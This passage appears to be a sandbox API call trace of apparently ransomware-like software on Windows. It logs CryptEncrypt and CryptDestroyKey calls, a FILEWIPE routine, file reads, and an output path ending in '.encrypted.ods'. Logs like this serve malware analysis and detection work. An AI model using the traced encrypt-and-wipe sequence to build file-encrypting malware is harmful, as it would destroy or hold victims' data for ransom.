lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.486] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.486] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x65c9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x65d0) returned 1 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] CharLowerBuffW (in: lpsz="byte[26065]", cchLength=0xb | out: lpsz="byte[26065]") returned 0xb [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.487] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.487] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.487] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f602cc60*, pdwDataLen=0xe8f3dfdf68*=0x65c9, dwBufLen=0x65d0 | out: pbData=0xe8f602cc60*, pdwDataLen=0xe8f3dfdf68*=0x65d0) returned 1 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.487] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.487] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.487] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.488] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.488] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.488] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.488] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.490] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.490] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.490] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.490] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.490] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.490] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.490] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.490] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.491] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.491] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.491] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.491] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.491] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.491] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.491] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.491] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.492] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.492] CharLowerBuffW (in: lpsz="byte[26057]", cchLength=0xb | out: lpsz="byte[26057]") returned 0xb [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.492] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.492] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.492] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.493] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.493] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.494] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.494] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.494] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.494] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.495] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.495] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.495] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.496] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.496] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.496] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.496] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.496] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.496] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.496] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.496] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5271) returned 1 [0025.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.497] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1497, lpOverlapped=0x0) returned 1 [0025.497] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1497, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5271) returned 1 [0025.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.encrypted.ods\r\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0025.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.encrypted.ods\r\n", cchWideChar=78, lpMultiByteStr=0xe8f4069f50, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 